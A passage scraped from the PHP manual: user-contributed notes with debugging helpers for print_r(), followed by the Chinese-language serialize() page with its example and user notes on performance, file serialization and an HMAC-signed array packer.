    foreach ($pos as $key => $where) {
// recursively see if the parsed out value is an array too
      $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
    }
    return $is_object ? (object) $ret : $ret;
  }
}
?>
ntd at entidi dot it 31-Jul-2015 05:43
Another attempt that tries to overcome the memory blowout when the passed in data has mutual recursion.

<?php
function safe_print_r($data, $nesting = 5, $indent = '') {
    if (! is_object($data) && ! is_array($data)) {
        var_dump($data);
    } elseif ($nesting < 0) {
        echo "** MORE **\n";
    } else {
        echo ucfirst(gettype($data)) . " (\n";
        foreach ((array) $data as $k => $v) {
            echo $indent . "\t[$k] => ";
            safe_print_r($v, $nesting - 1, "$indent\t");
        }
        echo "$indent)\n";
    }
}
?>
Sumit 27-May-2015 01:20
I prefer to use
<?php
printf("<pre>%s</pre>",print_r($_POST, true));
?>
Simon Asika 06-Nov-2013 04:06
Here is a print_r() clone but support max level limit.

When we want to print a big object, this will help us get a clean dumping data.

<?php

/**
 * Recrusive print variables and limit by level.
 *
 * @param   mixed  $data   The variable you want to dump.
 * @param   int    $level  The level number to limit recrusive loop.
 *
 * @return  string  Dumped data.
 *
 * @author  Simon Asika (asika32764[at]gmail com)
 * @date    2013-11-06
 */
function print_r_level($data, $level = 5)
{
    static $innerLevel = 1;

    static $tabLevel = 1;

    static $cache = array();

    $self = __FUNCTION__;

    $type       = gettype($data);
    $tabs       = str_repeat('    ', $tabLevel);
    $quoteTabes = str_repeat('    ', $tabLevel - 1);

    $recrusiveType = array('object', 'array');

    // Recrusive
    if (in_array($type, $recrusiveType))
    {
        // If type is object, try to get properties by Reflection.
        if ($type == 'object')
        {
            if (in_array($data, $cache))
            {
                return "\n{$quoteTabes}*RECURSION*\n";
            }

            // Cache the data
            $cache[] = $data;

            $output     = get_class($data) . ' ' . ucfirst($type);
            $ref        = new \ReflectionObject($data);
            $properties = $ref->getProperties();

            $elements = array();

            foreach ($properties as $property)
            {
                $property->setAccessible(true);

                $pType = $property->getName();

                if ($property->isProtected())
                {
                    $pType .= ":protected";
                }
                elseif ($property->isPrivate())
                {
                    $pType .= ":" . $property->class . ":private";
                }

                if ($property->isStatic())
                {
                    $pType .= ":static";
                }

                $elements[$pType] = $property->getValue($data);
            }
        }
        // If type is array, just retun it's value.
        elseif ($type == 'array')
        {
            $output = ucfirst($type);
            $elements = $data;
        }

        // Start dumping datas
        if ($level == 0 || $innerLevel < $level)
        {
            // Start recrusive print
            $output .= "\n{$quoteTabes}(";

            foreach ($elements as $key => $element)
            {
                $output .= "\n{$tabs}[{$key}] => ";

                // Increment level
                $tabLevel = $tabLevel + 2;
                $innerLevel++;

                $output  .= in_array(gettype($element), $recrusiveType) ? $self($element, $level) : $element;

                // Decrement level
                $tabLevel = $tabLevel - 2;
                $innerLevel--;
            }

            $output .= "\n{$quoteTabes})\n";
        }
        else
        {
            $output .= "\n{$quoteTabes}*MAX LEVEL*\n";
        }
    }

    // Clean cache
    if($innerLevel == 1)
    {
        $cache = array();
    }

    return $output;
}// End function

// TEST ------------------------------------

class testClass
{
    protected $a = 'aaa';

    private $b = 'bbb';

    public $c = array(1, 2, ['a', 'b', 'c'], 4);

    static public $d = 'ddd';

    static protected $e = 'eee';
}

$test = new testClass;

$test->testClass = $test;

echo '<pre>' . print_r_level($test, 3) . '</pre>';

?>

will output
-------------------------------------------------------------

testClass Object
(
    [a:protected] => aaa
    [b:testClass:private] => bbb
    [c] => Array
        (
            [0] => 1
            [1] => 2
            [2] => Array
                *MAX LEVEL*

            [3] => 4
        )

    [d:static] => ddd
    [e:protected:static] => eee
    [testClass] =>
        *RECURSION*

)
preda dot vlad at yahoo dot com 22-Mar-2013 09:40
print_r(), just like var_dump() does NOT cast an object, not even if it has a __toString() method - which is normal.

<?php
class A {
    public function __toString() {
        return 'In class A';
    }
}
$a = new A;
echo $a; // In class A
print_r($a); // A Object()
// you can simulate the echo by casting it manually
print_r((string)$a);  // In class A
henzeberkheij at gmail dot com 28-Jan-2012 03:10
print_r is used for debug purposes. Yet I had some classes where I just wanted the values coming out of the database, not all the other crap. thus i wrote the following function. If your class has an toArray function, that one will be called otherwise it will return the object as is. print_neat_classes_r is the function that should be called!

<?php
print_neat_classes_r($array, $return=false){
        return print_r(self::neat_class_print_r($array), $return);
    }

function do_print_r($array, $return=false){
        if(is_object($array) && method_exists($array, 'toArray')){
            return $array->toArray();
        }else if(is_array($array)){
            foreach($array as $key=>$obj){
                $array[$key] = self::do_print_r($obj, $return);
            }
            return $array;
        }else{
            return $array;
        }
    }
?>
eithed 21-Oct-2011 02:25
Bear in mind that print_r actually reserves some memory to do something - so, for example thing like:

<?php
function shutdown_handler()
{
    file_put_contents($_SERVER['DOCUMENT_ROOT']."/log.txt", print_r($_REQUEST, true));
}

ini_set('memory_limit', '1M');
register_shutdown_function("shutdown_handler");

$array = array();
while(true)
    $array[] = new stdClass();
?>

will just not work. Try using var_export, and presto, everything is fine.
machuidel 03-Feb-2011 04:01
The following will output an array in a PHP parsable format:

<?php
function serialize_array(&$array, $root = '$root', $depth = 0)
{
        $items = array();

        foreach($array as $key => &$value)
        {
                if(is_array($value))
                {
                        serialize_array($value, $root . '[\'' . $key . '\']', $depth + 1);
                }
                else
                {
                        $items[$key] = $value;
                }
        }

        if(count($items) > 0)
        {
                echo $root . ' = array(';

                $prefix = '';
                foreach($items as $key => &$value)
                {
                        echo $prefix . '\'' . $key . '\' => \'' . addslashes($value) . '\'';
                        $prefix = ', ';
                }

                echo ');' . "\n";
        }
}
?>
Alexander 19-Mar-2010 05:20
A simple function to send the output of print_r to firebug.
The script creates a dummy console object with a log method for when firebug is disabled/not available.

<?php
function debug ($data) {
    echo "<script>\r\n//<![CDATA[\r\nif(!console){var console={log:function(){}}}";
    $output    =    explode("\n", print_r($data, true));
    foreach ($output as $line) {
        if (trim($line)) {
            $line    =    addslashes($line);
            echo "console.log(\"{$line}\");";
        }
    }
    echo "\r\n//]]>\r\n</script>";
}
?>
liamtoh6 at hotmail dot com 03-Feb-2010 10:01
I add this function to the global scope on just about every project I do, it makes reading the output of print_r() in a browser infinitely easier.

<?php
function print_r2($val){
        echo '<pre>';
        print_r($val);
        echo  '</pre>';
}
?>

It also makes sense in some cases to add an if statement to only display the output in certain scenarios, such as:

if(debug==true)
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1')
Matt 14-Sep-2009 12:53
Here is another version that parses the print_r() output. I tried the one posted, but I had difficulties with it. I believe it has a problem with nested arrays. This handles nested arrays without issue as far as I can tell.

<?php
function print_r_reverse($in) {
    $lines = explode("\n", trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}

?>
Bob 08-May-2009 03:19
Here is a function that formats the output of print_r as a expandable/collapsable tree list using HTML and JavaScript.
<?php
function print_r_tree($data)
{
    // capture the output of print_r
    $out = print_r($data, true);

    // replace something like '[element] => <newline> (' with <a href="javascript:toggleDisplay('...');">...</a><div id="..." style="display: none;">
    $out = preg_replace('/([ \t]*)(\[[^\]]+\][ \t]*\=\>[ \t]*[a-z0-9 \t_]+)\n[ \t]*\(/iUe',"'\\1<a href=\"javascript:toggleDisplay(\''.(\$id = substr(md5(rand().'\\0'), 0, 7)).'\');\">\\2</a><div id=\"'.\$id.'\" style=\"display: none;\">'", $out);

    // replace ')' on its own on a new line (surrounded by whitespace is ok) with '</div>
    $out = preg_replace('/^\s*\)\s*$/m', '</div>', $out);

    // print the javascript function toggleDisplay() and then the transformed output
    echo '<script language="Javascript">function toggleDisplay(id) { document.getElementById(id).style.display = (document.getElementById(id).style.display == "block") ? "none" : "block"; }</script>'."\n$out";
}
?>
Pass it a multidimensional array or object and each sub-array/object will be hidden and replaced by a html link that will toggle its display on and off.
Its quick and dirty, but great for debugging the contents of large arrays and objects.
Note: You'll want to surround the output with <pre></pre>
sebasg37 at gmail dot com 25-Jan-2009 09:35
If you have to catch the output without showing it at all at first (for example, if you want to append the print_r output to a file), you can do this:

<?php

ob_start();
print_r( $some_array );
$output = ob_get_clean();

// if you want to append the print_r output of $some_array to, let's say, log.txt:

file_put_contents( 'log.txt', file_get_contents( 'log.txt' ) . $output )

?>
afisher8 at cox dot net 17-Dec-2008 08:53
I use this all the time when debugging objects, but when you have a very large object with big arrays of sub-objects, it's easy to get overwhelmed with the large amount of output....sometimes you don't want to see absolutely every sub-object.

I made this function to debug objects while "hiding" sub-objects of certain types.  This also color codes the output for a more readable printout.

<?php

function wtf($var, $arrayOfObjectsToHide=null, $fontSize=11)
{
    $text = print_r($var, true);

    if (is_array($arrayOfObjectsToHide)) {

        foreach ($arrayOfObjectsToHide as $objectName) {

            $searchPattern = '#('.$objectName.' Object\n(\s+)\().*?\n\2\)\n#s';
            $replace = "$1<span style=\"color: #FF9900;\">--&gt; HIDDEN - courtesy of wtf() &lt;--</span>)";
            $text = preg_replace($searchPattern, $replace, $text);
        }
    }

    // color code objects
    $text = preg_replace('#(\w+)(\s+Object\s+\()#s', '<span style="color: #079700;">$1</span>$2', $text);
    // color code object properties
    $text = preg_replace('#\[(\w+)\:(public|private|protected)\]#', '[<span style="color: #000099;">$1</span>:<span style="color: #009999;">$2</span>]', $text);

    echo '<pre style="font-size: '.$fontSize.'px; line-height: '.$fontSize.'px;">'.$text.'</pre>';
}

// example usage:
wtf($myBigObject, array('NameOfObjectToHide_1', 'NameOfObjectToHide_2'));

?>
kurt krueckeberg 28-Oct-2008 10:53
This is an alternative for printing arrays. It bolds array values.

<?php
function print_array(&$a, $str = "")
{
    if ($str[0]) {
        echo "$str =";
    }
    echo ' array( ';
    foreach ($a as $k => $v) {

        echo "[$k]".' => ';

        if (is_array($v)) {
            print_array($v);
        }
        else {
               echo "<strong>$a[$k]</strong> ";
        }
    }
    echo ')  ';
}
$a1 = array ("apples", "oranges", "pears");
$a2 = array ("potatos", "green beans", "squash");
$a3 = array ("euros", "dollars", "pesos", "dinars");
$test = range(1, 9);
array_push($test, array ("fruit" => $a1, "vegies" => $a2, "money" => $a3));
print_array($test, "test");
?>
schizo do not spamme duckie at gmail dot com 07-Oct-2008 05:00
my take on the highlighted markupped debug function:

<?php
/**
 * print_array()
 * Does a var_export of the array and returns it between <pre> tags
 *
 * @param mixed $var any input you can think of
 * @return string HTML
 */
function print_array($var)
{
    $input =var_export($var,true);
    $input = preg_replace("! => \n\W+ array \(!Uims", " => Array ( ", $input);
    $input = preg_replace("!array \(\W+\),!Uims", "Array ( ),", $input);
    return("<pre>".str_replace('><?', '>', highlight_string('<'.'?'.$input, true))."</pre>");
}
?>
brenden at beagleproductions dot com 28-Aug-2008 01:58
Many developers have submitted bugs to the PHP development team with regards to print_r showing protected and private properties of objects (PHP 5).  This is not a bug; sensitive information (ex. database connection object) should be  encapsulated within a private member function of your class.
admin at swivelgames dot com 17-Aug-2008 01:44
I was having problems using print_r because I didn't like the fact that if tags where included in the array it would still be parsed by the browsers.

Heres a simple fix for anyone who is having the same problem as I did. This will output your text properly for viewing through the browser instead of the browser's "view source" or CLI.

Script:
<?php

     $MyArray[0]="<div align='center'>My Text</div>";

     echo "<pre>".htmlspecialchars(print_r($MyArray,true))."</pre>";

?>

Output:
<pre>Array
(
    [0] =&gt; &lt;div align='center'&gt;My Text&lt;/div&gt;
)
</pre>
Anonymous 28-Jun-2008 01:21
I have written a nice debugging function.
This function handles arrays beautifully.
<?php
//Debug variables, $i and $k are for recursive use
function DebugDisplayVar($input, $name = "Debug", $i = "0", $k = array("Error")){
    if(is_array($input))
    {    foreach ($input as $i => $value){
            $temp = $k;
            $temp[] = $i;
            DebugDisplayVar($value, $name, $i, $temp);}
    }else{//if not array
        echo "$".$name;//[$k]
        foreach ($k as $i => $value){
            if($value !=="Error"){echo "[$value]";}
        }
        echo " = $input<br>";
}    }

//outputs
Debug[0] = value
Debug[1] = another value
ect...

?>
janci 13-May-2008 02:49
You cannot use print_r(), var_dump() nor var_export() to get static member variables of a class. However, in PHP5 you can use Reflection classes for this:

<?php

$reflection = new ReflectionClass('Static');
print_r($reflection->getStaticProperties());

?>
helpful at maybe dot com 06-Mar-2008 08:13
Another slight modification to the previous post to allow for empty array elements

added the following lines after the first preg_match block
<?php
        } else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\>$/', $trim, $matches)) { // array element
            // the array element is blank
            list ($fullMatch, $key) = $matches;
            $topArray[$key] = $element;
        }

?>
anon at anon dot com 29-Feb-2008 10:30
A slight modification to the previous post to allow for arrays containing mutli line strings. haven't fully tested it with everything, but seems to work great for the stuff i've done so far.

<?php

function print_r_reverse(&$output)
{
    $expecting = 0; // 0=nothing in particular, 1=array open paren '(', 2=array element or close paren ')'
    $lines = explode("\n", $output);
    $result = null;
    $topArray = null;
    $arrayStack = array();
    $matches = null;
    while (!empty($lines) && $result === null)
    {
        $line = array_shift($lines);
        $trim = trim($line);
        if ($trim == 'Array')
        {
            if ($expecting == 0)
            {
                $topArray = array();
                $expecting = 1;
            }
            else
            {
                trigger_error("Unknown array.");
            }
        }
        else if ($expecting == 1 && $trim == '(')
        {
            $expecting = 2;
        }
        else if ($expecting == 2 && preg_match('/^\[(.+?)\] \=\> (.+)$/', $trim, $matches)) // array element
        {
            list ($fullMatch, $key, $element) = $matches;
            if (trim($element) == 'Array')
            {
                $topArray[$key] = array();
                $newTopArray =& $topArray[$key];
                $arrayStack[] =& $topArray;
                $topArray =& $newTopArray;
                $expecting = 1;
            }
            else
            {
                $topArray[$key] = $element;
            }
        }
        else if ($expecting == 2 && $trim == ')') // end current array
        {
            if (empty($arrayStack))
            {
                $result = $topArray;
            }
            else // pop into parent array
            {
                // safe array pop
                $keys = array_keys($arrayStack);
                $lastKey = array_pop($keys);
                $temp =& $arrayStack[$lastKey];
                unset($arrayStack[$lastKey]);
                $topArray =& $temp;
            }
        }
        // Added this to allow for multi line strings.
    else if (!empty($trim) && $expecting == 2)
    {
        // Expecting close parent or element, but got just a string
        $topArray[$key] .= "\n".$line;
    }
        else if (!empty($trim))
        {
            $result = $line;
        }
    }

    $output = implode(n, $lines);
    return $result;
}

/**
 * @param string $output : The output of a multiple print_r calls, separated by newlines
 * @return mixed[] : parseable elements of $output
 */
function print_r_reverse_multiple($output)
{
    $result = array();
    while (($reverse = print_r_reverse($output)) !== NULL)
    {
        $result[] = $reverse;
    }
    return $result;
}

$output = '
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
            [3] => Array
            (
                [nest] => yes
                [nest2] => Array
                (
                    [nest] => some more
                    asffjaskkd
                )
                [nest3] => o rly?
            )
        )
)

some extra stuff
';
var_dump(print_r_reverse($output), $output);

?>

This should output

array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  array(4) {
    [0]=>
    string(1) "x"
    [1]=>
    string(1) "y"
    [2]=>
    string(1) "z"
    [3]=>
    array(3) {
      ["nest"]=>
      string(3) "yes"
      ["nest2"]=>
      array(1) {
        ["nest"]=>
        string(40) "some more
                    asffjaskkd"
      }
      ["nest3"]=>
      string(6) "o rly?"
    }
  }
}
string(18) "nsome extra stuffn"

Added:
else if (!empty($trim) && $expecting == 2)
{
    // Expecting close parent or element, but got just a string
    $topArray[$key] .= "\n".$line;
}
bart at mediawave dot nl 30-Oct-2007 04:27
Here's a PHP version of print_r which can be tailored to your needs. Shows protected and private properties of objects and detects recursion (for objects only!). Usage:

void u_print_r ( mixed $expression [, array $ignore] )

Use the $ignore parameter to provide an array of property names that shouldn't be followed recursively.

<?php

function u_print_r($subject, $ignore = array(), $depth = 1, $refChain = array())
{
    if ($depth > 20) return;
    if (is_object($subject)) {
        foreach ($refChain as $refVal)
            if ($refVal === $subject) {
                echo "*RECURSION*\n";
                return;
            }
        array_push($refChain, $subject);
        echo get_class($subject) . " Object ( \n";
        $subject = (array) $subject;
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[';
                if ($key{0} == "\0") {
                    $keyParts = explode("\0", $key);
                    echo $keyParts[2] . (($keyParts[1] == '*')  ? ':protected' : ':private');
                } else
                    echo $key;
                echo '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
        array_pop($refChain);
    } elseif (is_array($subject)) {
        echo "Array ( \n";
        foreach ($subject as $key => $val)
            if (is_array($ignore) && !in_array($key, $ignore, 1)) {
                echo str_repeat(" ", $depth * 4) . '[' . $key . '] => ';
                u_print_r($val, $ignore, $depth + 1, $refChain);
            }
        echo str_repeat(" ", ($depth - 1) * 4) . ")\n";
    } else
        echo $subject . "\n";
}

?>

Example:

<?php

class test {

    public $var1 = 'a';
    protected $var2 = 'b';
    private $var3 = 'c';
    protected $array = array('x', 'y', 'z');

}

$test = new test();
$test->recursiveRef = $test;
$test->anotherRecursiveRef->recursiveRef = $test;
$test->dont->follow = 'me';

u_print_r($test, array('dont'));

?>

Will produce:

test Object (
    [var1] => a
    [var2:protected] => b
    [var3:private] => c
    [array:protected] => Array (
        [0] => x
        [1] => y
        [2] => z
    )
    [recursiveRef] => *RECURSION*
    [anotherRecursiveRef] => stdClass Object (
        [recursiveRef] => *RECURSION*
    )
)
motin at demomusic dot nu 19-Jun-2007 04:01
This works around the hacky nature of print_r in return mode (using output buffering for the return mode to work is hacky...):

<?php
/**
  * An alternative to print_r that unlike the original does not use output buffering with
  * the return parameter set to true. Thus, Fatal errors that would be the result of print_r
  * in return-mode within ob handlers can be avoided.
  *
  * Comes with an extra parameter to be able to generate html code. If you need a
  * human readable DHTML-based print_r alternative, see http://krumo.sourceforge.net/
  *
  * Support for printing of objects as well as the $return parameter functionality
  * added by Fredrik Wollsén (fredrik dot motin at gmail), to make it work as a drop-in
  * replacement for print_r (Except for that this function does not output
  * paranthesises around element groups... ;) )
  *
  * Based on return_array() By Matthew Ruivo (mruivo at gmail)
  * (http://se2.php.net/manual/en/function.print-r.php#73436)
  */
function obsafe_print_r($var, $return = false, $html = false, $level = 0) {
    $spaces = "";
    $space = $html ? "&nbsp;" : " ";
    $newline = $html ? "<br />" : "\n";
    for ($i = 1; $i <= 6; $i++) {
        $spaces .= $space;
    }
    $tabs = $spaces;
    for ($i = 1; $i <= $level; $i++) {
        $tabs .= $spaces;
    }
    if (is_array($var)) {
        $title = "Array";
    } elseif (is_object($var)) {
        $title = get_class($var)." Object";
    }
    $output = $title . $newline . $newline;
    foreach($var as $key => $value) {
        if (is_array($value) || is_object($value)) {
            $level++;
            $value = obsafe_print_r($value, true, $html, $level);
            $level--;
        }
        $output .= $tabs . "[" . $key . "] => " . $value . $newline;
    }
    if ($return) return $output;
      else echo $output;
}
?>

Built on a function earlier posted in these comments as stated in the Doc comment. Cheers! /Fredrik (Motin)
Enthusiastic PHPers 22-Mar-2007 12:03
We had an interesting problem dumping an object that
contained embedded HTML. The application makes use
of buffer manipulation functions, so print_r's 2nd argument
wasn't helpful. Here is how we solved the problem:

$object = new ObjectContainingHTML();
$savedbuffercontents = ob_get_clean();
print_r($object);
$print_r_output = ob_get_clean();
ob_start();
echo $savedbuffercontents;
echo htmlentities($print_r_output);
Matthew Ruivo (mruivo at gmail) 22-Feb-2007 10:47
For those of you needing to print an array within a buffer callback function, I've created this quick function. It simply returns the array as a readable string rather than printing it. You can even choose whether to return it in normal text-mode or HTML. It's recursive, so multi-dimensial arrays are supported. I hope someone finds this useful!

<?php

    function return_array($array, $html = false, $level = 0) {
        $space = $html ? "&nbsp;" : " ";
        $newline = $html ? "<br />" : "\n";
        for ($i = 1; $i <= 6; $i++) {
            $spaces .= $space;
        }
        $tabs = $spaces;
        for ($i = 1; $i <= $level; $i++) {
            $tabs .= $spaces;
        }
        $output = "Array" . $newline . $newline;
        foreach($array as $key => $value) {
            if (is_array($value)) {
                $level++;
                $value = return_array($value, $html, $level);
                $level--;
            }
            $output .= $tabs . "[" . $key . "] => " . $value . $newline;
        }
        return $output;
    }

?>
reinder at fake-address dot com 31-Jan-2006 09:09
I always use this function in my code, because most of my functions return an Array or Boolean :

<?php

function printr ( $object , $name = '' ) {

    print ( '\'' . $name . '\' : ' ) ;

    if ( is_array ( $object ) ) {
        print ( '<pre>' )  ;
        print_r ( $object ) ;
        print ( '</pre>' ) ;
    } else {
        var_dump ( $object ) ;
    }

}

?>

( print_r gives no output on FALSE and that can be annoying! )
thbley at gmail dot com 16-Nov-2005 12:10
Here is a print_r that produces xml:
(now you can expand/collapse the nodes in your browser)

<?php
header('Content-Type: text/xml; CHARSET=gb2312');
echo print_r_xml($some_var);

function print_r_xml($arr,$first=true) {
  $output = "";
  if ($first) $output .= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<data>\n";
  foreach($arr as $key => $val) {
    if (is_numeric($key)) $key = "arr_".$key; // <0 is not allowed
    switch (gettype($val)) {
      case "array":
        $output .= "<".htmlspecialchars($key)." type='array' size='".count($val)."'>".
          print_r_xml($val,false)."</".htmlspecialchars($key).">\n"; break;
      case "boolean":
        $output .= "<".htmlspecialchars($key)." type='bool'>".($val?"true":"false").
          "</".htmlspecialchars($key).">\n"; break;
      case "integer":
        $output .= "<".htmlspecialchars($key)." type='integer'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "double":
        $output .= "<".htmlspecialchars($key)." type='double'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      case "string":
        $output .= "<".htmlspecialchars($key)." type='string' size='".strlen($val)."'>".
          htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
      default:
        $output .= "<".htmlspecialchars($key)." type='unknown'>".gettype($val).
          "</".htmlspecialchars($key).">\n"; break;
    }
  }
  if ($first) $output .= "</data>\n";
  return $output;
}

?>
warhog at warhog dot net 11-Aug-2005 05:01
For very long arrays I have written a little function which formats an array quite nice and uses javascript for browsing it like a tree. The function is very customizable with the $style parameter.
For me it's of great use for browsing large array's, for example when those are used in language-files in some script and so on. It may even be used in "real" scripts for the "real" front-end, cause the tree can very easily be styled (look at the function or the outputted source and you'll see what i mean).

Here's the function:

<?php

function print_r_html($arr, $style = "display: none; margin-left: 10px;")
{ static $i = 0; $i++;
  echo "\n<div id=\"array_tree_$i\" class=\"array_tree\">\n";
  foreach($arr as $key => $val)
  { switch (gettype($val))
    { case "array":
        echo "<a onclick=\"document.getElementById('";
        echo array_tree_element_$i."').style.display = ";
        echo "document.getElementById('array_tree_element_$i";
        echo "').style.display == 'block' ?";
        echo "'none' : 'block';\"\n";
        echo "name=\"array_tree_link_$i\" href=\"#array_tree_link_$i\">".htmlspecialchars($key)."</a><br />\n";
        echo "<div class=\"array_tree_element_\" id=\"array_tree_element_$i\" style=\"$style\">";
        echo print_r_html($val);
        echo "</div>";
      break;
      case "integer":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "double":
        echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
      break;
      case "boolean":
        echo "<b>".htmlspecialchars($key)."</b> => ";
        if ($val)
        { echo "true"; }
        else
        { echo "false"; }
        echo  "<br />\n";
      break;
      case "string":
        echo "<b>".htmlspecialchars($key)."</b> => <code>".htmlspecialchars($val)."</code><br />";
      break;
      default:
        echo "<b>".htmlspecialchars($key)."</b> => ".gettype($val)."<br />";
      break; }
    echo "\n"; }
  echo "</div>\n"; }

?>

The function as it is now does not support the $return parameter as print_r does and will create an endless loop like print_r did in php-versions < 4.0.3 when there is an element which contains a reference to a variable inside of the array to print out :-/

I've tested it with PHP 5.0.6 and PHP 4.2.3 - no problems except those already mentioned.

please e-mail me if you've got a solution for the problems i've mentioned, i myself are not able to solve them 'cause i don't know how the hell i can find out whether a variable is a reference or not.
general at NOSPAMbugfoo dot com 20-Jan-2005 01:23
You can't use print_r($var, TRUE) inside a function which is a callback from ob_start() or you get the following error:
Fatal error: print_r(): Cannot use output buffering in output buffering display handlers


产生一个可存储的值的表示

  • ? print_r
  • settype ?
  • PHP Manual
  • Variable handling 函数
  • 产生一个可存储的值的表示

serialize

(PHP 4, PHP 5, PHP 7)

serialize — 产生一个可存储的值的表示

描述

serialize ( mixed $value ) : string

serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。

这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值，可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组／对象中的引用也将被存储。

当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数
__sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用
unserialize() 恢复对象时， 将调用
__wakeup() 成员函数。

Note:

在 PHP 3 中，对象属性将被序列化，但是方法则会丢失。PHP 4 打破了此限制，可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。

Example #1 serialize() 示例

<?php
// $session_data 是包含了当前用户 session 信息的多维数组。
// 我们使用 serialize() 在请求结束之前将其存储到数据库中。

$conn = odbc_connect ("webdb", "php", "chicken");
$stmt = odbc_prepare ($conn,
      "UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $PHP_AUTH_USER);
if (!odbc_execute ($stmt, &$sqldata)) {
    $stmt = odbc_prepare($conn,
     "INSERT INTO sessions (id, data) VALUES(?, ?)");
    if (!odbc_execute($stmt, &$sqldata)) {
    /* 出错 */
    }
}
?>

参见：unserialize()。

User Contributed Notes

Kantin Charignon 15-Jun-2018 02:50
I did the same test as MiChAeLoKGB but in another version of PHP.
I don't post his code because I executed exactly the same script (after correcting a small variable naming error and add a line to display the PHP version).

PHP version: 7.1.9
PHP serialized in 0.0032186679840088 seconds average
JSON encoded in 0.0035939190387726 seconds average
serialize() was roughly 11.66% faster than json_encode()
Test took 6.8132710456848 seconds with 1000 iterations.

It would seem that in the current version of PHP the serialize function is faster.
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:48
class A{
    public $tumi='Ami';
    public $ami='Tumi';

    public function ami(){
        $this->ami='You love me.';
    }
    public function tumi(){
        $this->tumi="I love you.";
    }
}
$obj=new A;
$serial=serialize($obj);

echo $serial;

echo PHP_EOL;

$uns=unserialize($serial);

print_r($uns);
sinus-php at sinpi dot net 03-Jul-2017 01:49
Here's a serialization function that doesn't serialize objects (it could, I just didn't care for that) but writes straight to a file. Very useful if you run out of memory when trying to serialize that 5-level nested 100000-entry array of strings.

Call it with the subject variable and a file name, it'll do the rest.

<?php
function serialize_to_file($subject,$file,$level=0) {
    if ($level==0) {
        $file=fopen($file,"w");
        if (!$file) return FALSE;
    }
    if (is_numeric($subject))
        fputs($file,"i:".$subject);
    elseif (is_string($subject))
        fputs($file,"s:".strlen($subject).":\"".addslashes($subject)."\"");
    elseif (is_bool($subject))
        fputs($file,"b:".($subject?1:0));
    elseif (is_array($subject)) {
        $keys = array_keys($subject);
        fputs($file,"a:".count($keys).":{");
        foreach ($keys as $key) {
            flat_serialize_to_file($key,$file,$level+1);
            fputs($file,";");
            flat_serialize_to_file($subject[$key],$file,$level+1);
            if (!is_array($subject[$key])) fputs($file,";");
        }
        fputs($file,"}");
    }
    if ($level==0)
        fclose($file);
}
?>
Anonymous 28-Dec-2016 05:10
If you want write something strange, like string array to binary string, and you are afraid 0-days of php's serialize function, you can use this.

Out:

string(88) "031a000a0001004c6f72..."
array(3) {
  [0]=>
  string(26) "Lorem ipsum dolor sit amet"
  [1]=>
  string(10) "8726348723"
  [2]=>
  string(1) "1"
}
string(152) "1c5e108afdec7c27a..."
array(3) {
  [0]=>
  string(26) "Lorem ipsum dolor sit amet"
  [1]=>
  string(10) "8726348723"
  [2]=>
  string(1) "1"
}

<?php

$arrToPack = array('Lorem ipsum dolor sit amet', 8726348723, true);

$packer = new ArraysPack();
$packer->privateKey = hash('sha256', 'k6LYiB8cnr5ESBMpVUBdC3c73Mt52p8w' ,true);

$dataPacked = $packer->pack($arrToPack);
$dataUnpacked = $packer->unPack($dataPacked);

$dataHMACPacked = $packer->hmacPack($arrToPack);
$dataHMACUnpacked = $packer->hmacUnPack($dataHMACPacked);

var_dump(bin2hex($dataPacked));
var_dump($dataUnpacked);

var_dump(bin2hex($dataHMACPacked));
var_dump($dataHMACUnpacked);

class ArraysPack
{
    public $hmacAlgo = 'sha256';
    public $hmacLen = 32;
    public $privateKey = '';

    public function hmacPack($array)
